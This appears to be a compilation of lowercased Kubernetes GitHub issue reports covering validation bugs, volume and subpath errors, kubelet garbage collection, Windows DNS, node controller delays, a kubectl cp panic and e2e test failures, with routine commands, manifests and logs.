currently it is possible to pass just an ip address without any schema/port information  no https://  which leads to connectivity problems.   also http://kubernetes.io/docs/admin/federation/ should give an example of valid cluster object and tell to include the schema .   ideally, if federation=true is passed to kube-up.sh the corresponding cluster.yaml file should be generated automatically.  cc: @quinton-hoole @kubernetes/sig-cluster-federation

kubernetes version    use  kubectl version  : v1.5.0-alpha.1.857+c81816751387a2-dirty    what happened  : create a namespace with invalid node-selector, it can create successfully    how to reproduce it    as minimally and precisely as possible :      1. create a namespace with invalid  {     \ kind\ : \ namespace\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ projectlable\ ,         \ creationtimestamp\ : null,         \ annotations\ : {             \ scheduler.alpha.kubernetes.io/node-selector\ : \ region =xyz%|=|country=china||\          }     },     \ spec\ : {},     \ status\ : {} }   kc create -f ns.yaml namespace \ projectlable\  created  2. create a pod in this namespace   kc create -f https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/pod/hello-pod.yaml --namespace=projectlable error from server: error when creating \ https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/pod/hello-pod.yaml\ : invalid selector:  region  xyz%| |country china||         expected results   1. when create namespace with invalid value\ scheduler.alpha.kubernetes.io/node-selector\  should failed.    anything else do we need to know  :

issue: \r \r create a pvc with accessmode rox, then describe the pv.\r ~~~\r   root@dhcp35-111 demo   ../kubectl.sh describe pv pvc-853f0527-ad4f-11e6-9ab8-54ee7551fd0c\r name:\t\tpvc-853f0527-ad4f-11e6-9ab8-54ee7551fd0c\r labels:\t\t<none>\r storageclass:\tfast\r status:\t\tbound\r claim:\t\tdefault/claim2\r reclaim policy:\tdelete\r access modes:\trox\r capacity:\t16gi\r message:\t\r source:\r     type:\t\tglusterfs  a glusterfs mount on the host that shares a pod's lifetime \r     endpointsname:\tglusterfs-dynamic-claim2\r     path:\t\tvol_d75482cbbdab8feb2691b4c7e3f5f4ca\r     readonly:\t\tfalse\r ~~~\r \r \r eventhough the claim accessmode has set to  rox ,  the vol spec has  readonly  flag set 'false', it should be  true  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r the  kubefed init  can not specify  tolerations , this will cause that i cannot deploy my federation panel on node which has  taint , it is better to enable the  kubefed init  can specify the  tolerations  so that i can deploy federation panel on node which have  taint  that the federation panel can tolerate.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /cc @kubernetes/sig-federation-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r if kube-apiserver does not have liveness probe, when send sigstop signal to kube-apiserver process to simulate process does not work anymore.  and all components  kube-contoller-manager, kube-proxy, kubelet, etc. in cluster do not sense the connections with apiserever do not work anymore. \r   what you expected to happen  :\r components should sense the exception connection, and retry to create a new connection.\r   how to reproduce it  as minimally and precisely as possible   :\r kill -stop {kube-apiserever pid}\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r the kubelet will gc the images on the node to free space when the used space reaching the percent ot the high-threhold 90% as default , but when the containers are not just managed by kubernetes such as managed by swarm together  and not wished to be gced by kubelet, i found we can not close the gc function by the flag of image-gc-high-threshold.\r   what you expected to happen  :\r add one switch to close the function of imagegc in specific senario:\r when the flag  image-gc-high-threshold is set as 0, we should not gc the images on the node, just record one warning event to kube-apiserver\r or add another switch flag to close the whole function of imagegc\r   how to reproduce it  as minimally and precisely as possible   :\r run kubernetes with several nodes, and test with making the  inode all consumed of the nodes then the kubelet can triggle the gc to delete the oldest images on the node regardless the kind of them.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  : i deployed several pods to a windows host, and they were assigned ip addresses but not dns servers. infrastructure containers received the dns servers of the host, but application containers had none. \r \r   what you expected to happen  : application containers have the cluster dns service ip address set as the default resolver.\r \r   how to reproduce it  as minimally and precisely as possible   : deploy a kubernetes cluster including windows nodes and the kube-dns service.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  windows  https://kubernetes.io/docs/getting-started-guides/windows/  with manual network configuration.\r - os  e.g. from /etc/os-release : windows insider preview\r - install tools: kubeadm\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r \r  when using   kubectl describe svc  , the targetport is wrong \r \r    \r targetport  %!d  string=port1 /tcp\r    \r \r \r   what you expected to happen  :\r \r if the targetport is string, show the name correctly.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?:\r \r  \r what happened:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_plugin.go\r csi volume plugin check driver when mounting the pv \r \r what you expected to happen:\r should check driver name in api validation

we currently relist for at least 2 reasons: 1. correctness, aka recovering from random issues we can't explain 2. etcd's watch window  this could lead to a thundering herd  because all our major watch clients open up connections at around the same time. a quick and dirty way to avoid this is to pick a random timeout server side  or  set the sever timeout to 10m and allow every reflector started without a relist period to pick a random number between 5-10 .  arguments for server side: - it is easier to generate pseudo randomness from a single server process than n clients  arguments for client side: - we already have a relist timeout idiom on client, this needs to integration with the server setting - it feels like the clients should control when they relist, and the server should control when the connection is dropped, but i'm willing to compromise on the soc for the sake of simplicity.  @lavalamp

failing on gke only:\r \r https://k8s-testgrid.appspot.com/sig-storage gke\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/31372\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:120\r sep  6 15:51:59.980: cleanup failed\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/drivers/in_tree.go:291\r    \r \r @kubernetes/sig-storage-bugs

this is related to  65879 and  51835, but these issues contain several different bugs, so i am creating a new one.\r \r \r   steps to reproduce  :\r 1.  /var/lib/kubelet  must be a symlink somewhere else. if you don't have a symlink, then it's a different bug.\r \r 2. run a pod with configmap volume with subpath:\r \r    \r $ kubectl create configmap my-config --from-literal=key1=config1 --from-literal=key2=config2\r \r $ kubectl create -f - <<eof                                                                                                                                                                                                                                                                                 \r apiversion: v1\r kind: pod\r metadata:\r   name: testpod\r   labels:\r     name: test\r spec:\r   restartpolicy: never\r   terminationgraceperiodseconds: 1\r   containers:\r     - image: gcr.io/google_containers/busybox\r       command:\r         - \ /bin/sleep\ \r         - \ 10000\ \r       name: busybox\r       volumemounts:\r         - name: vol\r           mountpath: /mnt/test\r           subpath: key1\r   volumes:\r       - name: vol\r         configmap:\r           name: my-config\r eof\r    \r 3.  the pod should run just fine \r 4.  kubectl delete pod \r \r -> the pod is terminating forever\r \r from the logs:\r \r    \r i0917 14:14:24.232902   16796 mount_linux.go:874  cleaning up subpath mounts for /var/lib/kubelet/pods/eea7fdf2-ba83-11e8-983c-0800272fef8f/volume-subpaths/default-token-lsnlq\r i0917 14:14:24.232923   16796 mount_linux.go:889  cleaning up subpath mounts for container busybox\r i0917 14:14:24.232997   16796 util.go:727  tearing down volume default-token-lsnlq for pod eea7fdf2-ba83-11e8-983c-0800272fef8f at /var/lib/kubelet/pods/eea7fdf2-ba83-11e8-983c-0800272fef8f/volumes/kubernetes.io~secret/default-token-lsnlq\r i0917 14:14:24.233015   16796 mount_linux.go:926  cleaning up subpath mounts for subpath 0\r e0917 14:14:24.235137   16796 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/configmap/eea7fdf2-ba83-11e8-983c-0800272fef8f-vol\\\   \\\ eea7fdf2-ba83-11e8-983c-0800272fef8f\\\  \  failed. no retries permitted until 2018-09-17 14:14:24.734991273 +0000 utc m=+321.207433155  durationbeforeretry 500ms . error: \ error cleaning subpath mounts for volume \\\ vol\\\   uniquename: \\\ kubernetes.io/configmap/eea7fdf2-ba83-11e8-983c-0800272fef8f-vol\\\   pod \\\ eea7fdf2-ba83-11e8-983c-0800272fef8f\\\   uid: \\\ eea7fdf2-ba83-11e8-983c-0800272fef8f\\\   : error deleting /var/lib/kubelet/pods/eea7fdf2-ba83-11e8-983c-0800272fef8f/volume-subpaths/vol/busybox/0: remove /var/lib/kubelet/pods/eea7fdf2-ba83-11e8-983c-0800272fef8f/volume-subpaths/vol/busybox/0: device or resource busy\ \r    \r \r you can see there is no \ unmounting /var/lib/kubelet/pods/eea7fdf2-ba83-11e8-983c-0800272fef8f/volume-subpaths/vol/busybox/0\ , so kubelet did not even try to unmount it.\r \r   environment  :\r - kubernetes version 1.9.x  and today's master .\r \r   @msau42, another subpath bug :-

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r when creating a cluster with a fairly large number of nodes  ~50 , some nodes take up to 30 minutes after being added to the kubernetes node list to be fully initialized. i am using the openstack external cloud provider. each call of the addcloudnode method  in  kubernetes/pkg/controller/cloud/node_controller.go   takes around 2-4 seconds, though this occasionally spikes up to ~10 seconds.\r \r i also see that in the openstack-cloud-controller-manager logs, nodes are being initialized multiple times.\r    \r $ cat 01.txt | grep \ successfully initialized node resize-test-01-3k5bnt2gfikc-minion-33 with cloud provider\  | wc -l\r 178\r    \r this is particularly prominent for the nodes that enter the node list the latest.\r ! output  https://user-images.githubusercontent.com/11710676/54189291-c6663d00-44b1-11e9-9043-f313cd7ffed4.png \r \r the cloud provider receives an update event from each node every 10 seconds, but they are supposed to be ignored after the node has been initialized. the problem is that when the event rate  50 per 10 seconds ~ 5 per second  is higher than the processing rate  0.5 per second at best , there must be a queue of events that gets blocked up. the first nodes to be registered in kubernetes start filling up this queue with update events, which is why it takes 30 minutes for the nodes which are added last to get their first add event processed.\r \r the reason that the update events are not ignored is that the update event checks the taints on the node object that is provided by the event, which i assume is a snapshot of the node state from the time when the event was triggered.\r https://github.com/kubernetes/kubernetes/blob/44e369b000fa9c194b5fda142a9d3f62172f27f6/pkg/controller/cloud/node_controller.go l200-l214\r \r therefore any update events that are triggered before the node has its initial add event processed are treated again as add events, taking up even more processing time.\r \r i tried modifying updatecloudnode to get and check the current state of the node, and when running the openstack-cloud-controller-manager with that change all nodes are successfully initialized within 5-20 seconds of first appearing in the node list.\r    go\r func  cnc  cloudnodecontroller  updatecloudnode _, newobj interface{}  {\r     node := newobj.  v1.node \r     curnode, err := cnc.kubeclient.corev1  .nodes  .get node.name, metav1.getoptions{} \r     if err != nil {\r         return\r     }   \r     cloudtaint := getcloudtaint curnode.spec.taints \r     if cloudtaint == nil {\r         glog.v 2 .infof \ this node %s is registered without the cloud taint. will not process.\ , node.name \r         return\r     }   \r     cnc.addcloudnode newobj \r }\r    \r \r   what you expected to happen  :\r \r each node should only be initialized once, and should be initialized very quickly after appearing in the kubernetes node list.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use a cloud where the addcloudnode method takes at least a few seconds and create a cluster with a large amount of nodes, or just add a time.sleep for a few seconds to addcloudnode.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r openstack\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

it shouldn't be necessary to wrap the kubectl command with a wrapper script. it should be possible to just source kubectl.sh to set up the path, context, whatever, and then invoke the kubectl binary directly.

field  apiversion  is marked as 'not required' in the docs, although it seems to me it actually is required. for example, creating this small service:      kind: service metadata:   name: example spec:   ports:     - name: http       port: 8080       targetport: http   selector:     name: example     kind: pod      fails with:        kubectl create -f example.yml error validating \ example.yml\ : error validating data: object 'apiversion' is missing in '{\ kind\ :\ service\ ,\ metadata\ :{\ name\ :\ example\ },\ spec\ :{\ ports\ : {\ name\ :\ http\ ,\ port\ :8080,\ targetport\ :\ http\ } ,\ selector\ :{\ kind\ :\ pod\ ,\ name\ :\ example\ }}}'; if you choose to ignore these errors, turn validation off with --validate=false        my setup:    kubectl version 1.1 centos 7 docker version 1.9.1

k8s v1.3.5  at the moment there is no way to create hostpath pv based on node's labels. for example i would like to create a pv on specific host which has a label.  is there a way to implement that?  p.s. i know that it is not safe to create hostpath pv, and i know that there are gce, aws and azure persistent storage implementation, i know about nfs and ceph, but my current input data is to create pv based on hosts' labels.  thanks in advance.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-parallel/1993/  failed:  k8s.io  networking should provide unchanging, static url paths for kubernetes api services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:50 nov  3 07:56:19.652: unable to connect/talk to the internet: get http://google.com: dial tcp  2607:f8b0:4001:c05::66 :80: connect: network is unreachable /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:45       previous issues for this test:  26838

\r $ kubectl get rs\r error: group map apps:0xc82036bc00 batch:0xc82042e000 certificates.k8s.io:0xc82042e070 componentconfig:0xc82042e0e0 extensions:0xc82042e1c0 storage.k8s.io:0xc82042e310 :0xc82036bb90 authentication.k8s.io:0xc82036bc70 authorization.k8s.io:0xc82036bdc0 autoscaling:0xc82036be30 policy:0xc82042e230 rbac.authorization.k8s.io:0xc82042e2a0 federation:0xc82036b6c0  is already registered\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2943+d75167cc7a13ee\ , gitcommit:\ d75167cc7a13eef66c590f197254932b93e18967\ , gittreestate:\ clean\ , builddate:\ 2017-01-10t14:03:27z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r cc: @nikhiljindal @csbell @madhusudancs

the existing openapi test for genericapiserver had a cycle in it.  we need a simple test for enablement that doesn't introduce a cycle.  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/genericapiserver_test.go l91\r  \r @mbohlool @sttts

i've been trying to send a get to an https endpoint in kubernetes and it fails with the following error:      x509: failed to load system roots and no roots provided      sample go program that has this, along with its docker file in this  gist  https://gist.github.com/vmarmol/2610a64f2777fb58dfe9 .  this isn't just a kubernetes issue, it happens on any docker image. @kelseyhightower has a nice explanation  here  https://medium.com/@kelseyhightower/optimizing-docker-images-for-static-binaries-b5696e26eb07  near the bottom.  do we have a general recipe for this? @kelseyhightower's example bundles the cas, but i imagine that's not what we're gonna ask users to do since at the very least they're hard to update. i can imagine plumbing these ca files automatically for the users  unless they already provide one , but that may have some undesired side effects for a small minority of users.  any thoughts?

a gce containervm used on irc asked how to set somaxconn within his container. that is not possible in an unprivileged container because  /proc/sys  is not writeable.  if the user tries to set  containermanifest.containers i .privileged=true  then a validation error occurs. i can't tell if that validation error is occuring only at the kubelet or also at some layer of the containervm system.  at any rate, the user would at least need to set  --allow_privileged=true  on the kubelet.  not sure if that is possible with containervm.  for kubernetes, we would not want the user to have to set a blanket allow_privileged on kubelet and apiserver just to tune this parameter.

environment:\r    \r  - name: eureka.instance.hostname\r     value: \ service-registry\ \r  - name: eureka.server.enable-self-preservation\r     value: \ false\ \r  - name: eureka.client.serviceurl.defaultzone\r     value: \ http://service-registry:8761/eureka/\ \r    \r     error message：\r    \r  root@master yaml   kubectl create -f service-registry.yaml\r service \ service-registry\  created\r the deployment \ service-registry\  is invalid:\r   spec.template.spec.containers 0 .env 0 .name: invalid value: \ eureka.instance.hostname\ : a valid c identifier must start with alphabetic character or '_', followed by a string of alphanumeric characters or '_'  e.g. 'my_name',  or 'my_name',  or 'myname', regex used for validation is ' a-za-z_  a-za-z0-9_  ' \r   spec.template.spec.containers 0 .env 1 .name: invalid value: \ eureka.server.enable-self-preservation\ : a valid c identifier must start with alphabetic character or '_', followed by a string of alphanumeric characters or '_'  e.g. 'my_name',  or 'my_name',  or 'myname', regex used for validation is ' a-za-z_  a-za-z0-9_  ' \r   spec.template.spec.containers 0 .env 2 .name: invalid value: \ eureka.client.serviceurl.defaultzone\ : a valid c identifier must start with alphabetic character or '_', followed by a string of alphanumeric characters or '_'  e.g. 'my_name',  or 'my_name',  or 'myname', regex used for validation is ' a-za-z_  a-za-z0-9_  ' \r  root@master yaml   kubectl get node\r name      status    age       version\r master    ready     1d        v1.7.4+coreos.0\r node1     ready     1d        v1.7.4+coreos.0\r node2     ready     1d        v1.7.4+coreos.0\r  root@master yaml   kubectl --version\r kubernetes v1.7.4+coreos.0\r    \r  is not it fixed here?  https://github.com/kubernetes/kubernetes/pull/48986 \r \r

hi,\r \r we would like to deploy the kubernetes master and worker node in separate aws-vpc . is there is any way to do this. we have tried with kops but it doesn't support.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos or centos\r - kernel  e.g.  uname -a  :\r - install tools: right now used kops but need to decide if other tool support multiple vpc option\r - others:\r

hi all,\r \r when i tried to run the logging aggregation  see link below  i found out the following error generated by elasticsearch:\r \r  2018-02-04t13:44:04,259  info   o.e.b.bootstrapchecks       elasticsearch-logging-0  bound or publishing to a non-loopback or non-link-local address, enforcing bootstrap checks\r error:  1  bootstrap checks failed\r  1 : max file descriptors  1024  for elasticsearch process is too low, increase to at least  65536 \r  2018-02-04t13:44:04,268  info   o.e.n.node                  elasticsearch-logging-0  stopping ...\r  2018-02-04t13:44:04,486  info   o.e.n.node                  elasticsearch-logging-0  stopped\r  2018-02-04t13:44:04,486  info   o.e.n.node                  elasticsearch-logging-0  closing ...\r  2018-02-04t13:44:04,561  info   o.e.n.node                  elasticsearch-logging-0  closed\r  2018-02-04t13:44:04,564  info   o.e.x.m.j.p.nativecontroller  native controller process has stopped - no new native processes can be started\r \r \r btw i am running a kubernetes cluster v1.8.0 on minions and 1.9.0 on masters using cri-containerd on ubuntu machines 16.04.\r \r https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch\r \r \r any help will be appreciated\r

    \r i'm currently setting up a docker-image registry for multiple clusters with multiple namespaces. in order to make this work for every namespace in every cluster, i have to create a secret for each single namespace.\r \r i have no idea about the implications, but from a user's perspective it would be handy to have something like  global  secrets available that work across namespaces.\r \r i'm sorry if this was already asked, i couldn't find anything related.\r

we have a new ci/pull job that runs conformance tests with a single node started using hack/local-up-cluster.sh.  comparing runs of  pull-kubernetes-e2e-gce  and  ci-kubernetes-local-e2e  there are a few tests that we do not run on the gce job because they are marked as   serial   /   flaky   /   slow  .  \r \r questions:\r - are these tests actually needed? \r - do we need a blocking pre-submit job that runs the full suite?  given that it takes time > 1 hour to run \r \r    \r  dims@dims-mac 20:19  ~/downloads ⟩ diff -bbwu e2e-gce-2.txt e2e-local-2.txt\r --- e2e-gce-2.txt\t2018-04-04 20:19:18.000000000 -0400\r +++ e2e-local-2.txt\t2018-04-04 20:19:31.000000000 -0400\r @@ -12,12 +11,14 @@\r   k8s.io  probing container should  not  be restarted with a exec \ cat /tmp/health\  liveness probe  conformance \r   k8s.io  probing container should be restarted with a /healthz http liveness probe  conformance \r   k8s.io  probing container should be restarted with a exec \ cat /tmp/health\  liveness probe  conformance \r + k8s.io  probing container should have monotonically increasing restart count  slow   conformance \r   k8s.io  probing container with readiness probe should not be ready before initial delay and never restart  conformance \r   k8s.io  probing container with readiness probe that fails should never be ready and never restart  conformance \r   k8s.io  variable expansion should allow composing env vars into new env vars  conformance \r   k8s.io  variable expansion should allow substituting values in a container's args  conformance \r   k8s.io  variable expansion should allow substituting values in a container's command  conformance \r   k8s.io   sig-node  events should be sent by kubelets and the scheduler about pods scheduling and running  conformance \r + k8s.io   sig-node  pods extended  k8s.io  delete grace period should be submitted and removed  flaky   conformance \r   k8s.io   sig-node  pods extended  k8s.io  pods set qos class should be submitted and removed  conformance \r   k8s.io   sig-node  prestop should call prestop when killing a pod  conformance \r   sig-api-machinery  configmap should be consumable via environment variable  conformance \r @@ -37,6 +38,10 @@\r   sig-api-machinery  garbage collector should orphan pods created by rc if delete options say so  conformance \r   sig-api-machinery  secrets should be consumable from pods in env vars  conformance \r   sig-api-machinery  secrets should be consumable via the environment  conformance \r + sig-apps  daemon set  serial  should retry creating failed daemon pods  conformance \r + sig-apps  daemon set  serial  should run and stop complex daemon  conformance \r + sig-apps  daemon set  serial  should run and stop simple daemon  conformance \r + sig-apps  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate  conformance \r   sig-apps  replicaset should serve a basic image on each replica with a public image  conformance \r   sig-apps  replicationcontroller should serve a basic image on each replica with a public image  conformance \r   sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  burst scaling should run to completion even with unhealthy pods  conformance \r @@ -81,6 +86,9 @@\r   sig-network  services should provide secure master service  conformance \r   sig-network  services should serve a basic endpoint from pods  conformance \r   sig-network  services should serve multiport endpoints from pods  conformance \r + sig-scheduling  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance \r + sig-scheduling  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance \r + sig-scheduling  schedulerpredicates  serial  validates that nodeselector is respected if not matching  conformance \r   sig-storage  configmap optional updates should be reflected in volume  conformance \r   sig-storage  configmap should be consumable from pods in volume  conformance \r   sig-storage  configmap should be consumable from pods in volume as non-root  conformance \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r    \r   kubectl cp\r panic: runtime error: index out of range\r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/cmd.  copyoptions .run 0xc4201b1420, 0x2420990, 0x0, 0x0, 0x0, 0x0 \r \t/workspace/anago-v1.11.0-beta.2.141+8745ea56e3f1f3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cp.go:167 +0x483\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdcp.func1 0xc420a47b80, 0x2420990, 0x0, 0x0 \r \t/workspace/anago-v1.11.0-beta.2.141+8745ea56e3f1f3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/cp.go:96 +0x93\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420a47b80, 0x2420990, 0x0, 0x0, 0xc420a47b80, 0x2420990 \r \t/workspace/anago-v1.11.0-beta.2.141+8745ea56e3f1f3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc42036e280, 0xc4206423c0, 0x12a05f200, 0xc420a15ee8 \r \t/workspace/anago-v1.11.0-beta.2.141+8745ea56e3f1f3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42036e280, 0x17ecbe0, 0x2402060 \r \t/workspace/anago-v1.11.0-beta.2.141+8745ea56e3f1f3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r \t/workspace/anago-v1.11.0-beta.2.141+8745ea56e3f1f3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r \r   what you expected to happen  :\r \r i think  kubectl cp  should just show the help or something?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl cp \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-rc.1\ , gitcommit:\ 8745ea56e3f1f3ad20050c1762eb6ba6f7786675\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t00:01:04z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04 amd64\r - kernel  e.g.  uname -a  :  linux hex-32c1-pm 4.4.0-122-generic  146-ubuntu smp mon apr 23 15:34:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

as a user who didn't have permission to watch a crd in a namespace, i got the correct error from the server, but the dynamic client didn't correctly report the error.\r \r    \r i0918 13:51:19.668687   78071 request.go:897  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ prowjobs.prow.k8s.io is forbidden: user \\\ smarterclayton\\\  cannot watch prowjobs.prow.k8s.io in the namespace \\\ ci\\\ : no rbac policy matched\ ,\ reason\ :\ forbidden\ ,\ details\ :{\ group\ :\ prow.k8s.io\ ,\ kind\ :\ prowjobs\ },\ code\ :403}\r e0918 13:51:19.668801   78071 reflector.go:322  github.com/openshift/release-controller/cmd/release-controller/main.go:149: failed to watch  unstructured.unstructured: unknown &errors.statuserror{errstatus:v1.status{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ \ , resourceversion:\ \ , continue:\ \ }, status:\ failure\ , message:\ unknown\ , reason:\ forbidden\ , details:  v1.statusdetails  0xc42070ea80 , code:403}}\r    \r \r i think this may be a bug with unstructured and the dynamic client / scheme not being able to extract the correct message.  \r \r @deads2k \r @kubernetes/sig-api-machinery-bugs

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r n/a\r \r   which test s  are failing  :\r \r      k8s.io   sig-node  prestop should call prestop when killing a pod  conformance \r \r   since when has it been failing  :\r \r n/a\r \r   testgrid link  :\r \r n/a\r \r   reason for failure  :\r \r when spawning a pod, it's container might start before all its networking plumbing has been completed. thus, if the container tests / needs its network connectivity, it mgiht fail.\r \r the   nettest   binary from the   nettest   image tries to connect to the kubernetes api, but if it cannot, the pod will end up in an error state.\r \r retrying the kubernetes api connection will avoid this issue. \r \r   anything else we need to know  :\r

